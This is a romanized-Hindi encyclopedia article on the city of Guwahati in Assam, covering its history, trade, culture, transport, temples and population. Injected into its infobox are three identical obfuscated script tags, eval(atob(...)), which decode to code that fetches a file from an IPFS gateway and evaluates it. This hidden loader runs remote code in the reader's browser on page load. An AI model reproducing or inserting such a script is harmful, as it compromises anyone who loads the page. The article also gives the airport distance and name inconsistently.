गुवाहाटी
guvahati
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| vivaran | guvahati brahmaputr nadi ke tat par basa ek naisargik sauandary sanpann shahar hai. |
| rajy | asam |
| zila | kamaroop zila |
| bhaugolik sthiti | uttar- 26.13° poorv- 91.77° |
| prasiddhi | guvahati ko vishv ka sabase b da chay ka bazar mana jata hai. |
| kaise pahuanchean | havaee jahaz, rel v s dak marg dvara pahuancha ja sakata hai. |
| havaee adda | borar havaee adda guvahati se 18 kilomitar ki doori par sthit hai. |
| relave steshan | guvahati jankshan aur kamakhya relave steshan |
| bas adda | guvahati bas adda |
| yatayat | bas, taiksi, aauto riksha |
| kya dekhean | kamakhya pith |
| kahaan thaharean | hotal, atithi-grah, dharmashala |
| kya kharidean | reshami aur ooni kap de |
| es.ti.di. kod | 0361 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr |
| adyatan | 5:00, 21 janavari 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
guvahati shahar, bhootapoorv gauhati, poorvottar bharat ke pashchimi asam rajy mean sthit hai. guvahati brahmaputr nadi ke tat par basa ek naisargik sauandary sanpann shahar hai, jisake dakshin mean vanachchhadit paha diyaan haian. guvahati asam ka sabase b da aur khoobasoorat shahar hai. guvahati apani advitiy, vividh aur rangin sanskriti ke lie jana jata hai.
itihas
400 ee. mean guvahati kamaroop ki rajadhani (pragajyotishapur yani "jyotishashastr ka nagar" ke nam se) hua karata tha. mahabharat kal mean poorv ke prakash ke nam se prasiddh yah sthan asur raja narakasur ki rajadhani thi. kaha jata hai ki yahian par saundary aur jivan ke srot hindoo dev kamaroop ka punarjanm hua tha. isake ullekh bharatiy puranoan mean bhi haian. kafi samay tak yah hindoo tirthasthal tatha shiksha ka kendr bhi raha hai. satavian sadi ke mahanh yatri hvenasaang ne is shahar ka varnan kiya hai. khasataur se guvahati ke vanoan, suandar parvat malaoan tatha vanyajivan ka ullekh kiya gaya hai. 17 vian sadi mean yah nagar bar-bar musalaman tatha ahom shasakoan (chin ke yunnan praant se yahaan pahuanchi taee bhasha bolane vali jati) ke hathoan mean ata-jata raha aur aantatah 1681 mean yah nichale asam ke ahom prashasak ka mukhyalay bana tatha 1786 mean ahom raja ne ise apani rajadhani bana liya. guvahati par 1816 se 1826 tak barmiyoan ka qabza raha, jab yaandaboo ki sandhi ke dvara unhoanne ise eest iandiya kanpani ko sauanp diya. 1874 mean asam ki rajadhani ko yahaan se 108 kilomitar door shilaang le jaya gaya. 1973 se guvahati asam ki rajadhani hai. disapur ke nee rajadhani ban jane ke bad bhi yah shahar n keval asam balki samooche poorvottar kshetr ka vyaparik keandr bana hua hai.
udyog v vyavasay
guvahati asam ka mahattvapoorn vyapar keandr tatha bandaragah hai. poorvottar ka pravesh dvar guvahati asapas ke kshetr ki vyavasayik gatividhiyoan ka kendr hai. ise vishv ka sabase b da chay ka bazar mana jata hai. yahaan ek telashodhan sanyantr aur sarakari krishi kshetr hai tatha udyogoan mean chay tatha krishi utpadoan ka prasanskaran, anaj pisaee tatha sabun banana haian. yahaan koee any b de udyog nahian haian. lagabhag 17 pratishat abadi udyog, vyapar tatha vanijy mean lagi huee hai tatha udyogoan par rajasthan se ae marava diyoan ka ekadhikar hai.
sanskriti
guvahati ki abadi milijuli hai, jisamean bangali, panjabi, bihari, nepali, rajasthani tatha baangladeshi shamil haian. isake alava yahaan sare poorvottar bharat ke adivasi samudayoan ke log bhi basate haian. yahaan guvahati vishvavidyalay (sthapana 1948), arl l aau k aaulej, rajy uchch nyayalay anek hindoo tirthasthaloan ke avashesh bikhare p de haian.
manoranjan
- guvahati kheloan ki drishti se bhi mahattvapurn sthan raha hai.
- guvahati mean anek stediyam sthit hai, yahaan 2007 mean 33 vean rashtriy khel ayojit huai the.
parivahan
guvahati mean havaee adda aur chhoti tatha b di lain ke relamarg haian. borajhar havaee adda shahar se 25 kilomitar ki doori par sthit hai. nagar poorvottar ke any rajyoan ke sath bhali-bhaanti ju da hua hai. rajy parivahan nigam ki basoan ke alava niji basean tatha taiksiyaan bhi upalabdh haian. vrihattar guvahati ki nagarayojana mean 262 varg kilomitar ka kshetr shamil hai. thumb|250px|left|guvahati ke stediyam
- vayu marg
guvahati se 18 kilomitar door borar havaee adda nikatatam havaee adda hai. is havaee adde se dilli, kolakata, agaratala, imphal, aeejol, dibroogadh aur jorahat ki sidhi u dane hai.
- rel marg
guvahati nartheest phrantiyar relave ka mukhyalay hai jo desh ke pramukh shaharoan dvara ju da hua hai.
- s dak marg
guvahati s dak marg dvara anek shaharoan se ju da hai. asam rajy parivahan nigam ki basean shilaang, tejapur, silachar, aeejol, dibroogadh, imphal, agaratala adi shaharoan ko apani sevaean pradan karati haian.
paryatan
guvahati rajy ka paryatan vibhag asapas ke sthaloan ki yatraean ayojit karata hai. kee sthaniy mele tatha utsav bhi yahaan manae jate haian. sardiyoan mean asam chay utsav manaya jata hai. guvahati mean mandiroan vali chhoti paha diyaan haian. shahar ke bichoanbich shukleshvar ki paha di par janardan mandir hai. usamean sthapit buddh ki pratima mean hindoo aur bauddh vishishtataoan ka anokha mishran hai. chitrachal paha di par bana navagadh (navagrih) mandir, jyotish aur khagol shastr ke adhyayan ka prachin keandr tha. sanbhavatah guvahati ka prachin nam pragajyotishapur isi mandir ke karan p da hoga. nagar ke kendr se 8 kilomitar ke fasale par pavitr nilachanl ki paha di par sthit kamakhya mandir sabase mahattvapoorn hai. yah taantrik anushthanoan tatha vaishvik matrisatta ki pratik shakti ka upasana sthal hai. vartaman mandir ka nirman mool mandir ke 10 vian sadi mean dhvast kar die jane par kiya gaya tha. is paha di ki choti se brahmaputr nadi ke mayoor dvip mean sthit umanand (shiv) mandir tatha nagar se 12 kilomitar door sthit vasishth ashram haian.
janasankhya
2001 ki janaganana ke anusar guvahati shahar ki janasankhya 8,08,021 hai.
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tika tippani aur sandarbh
sanbandhit lekh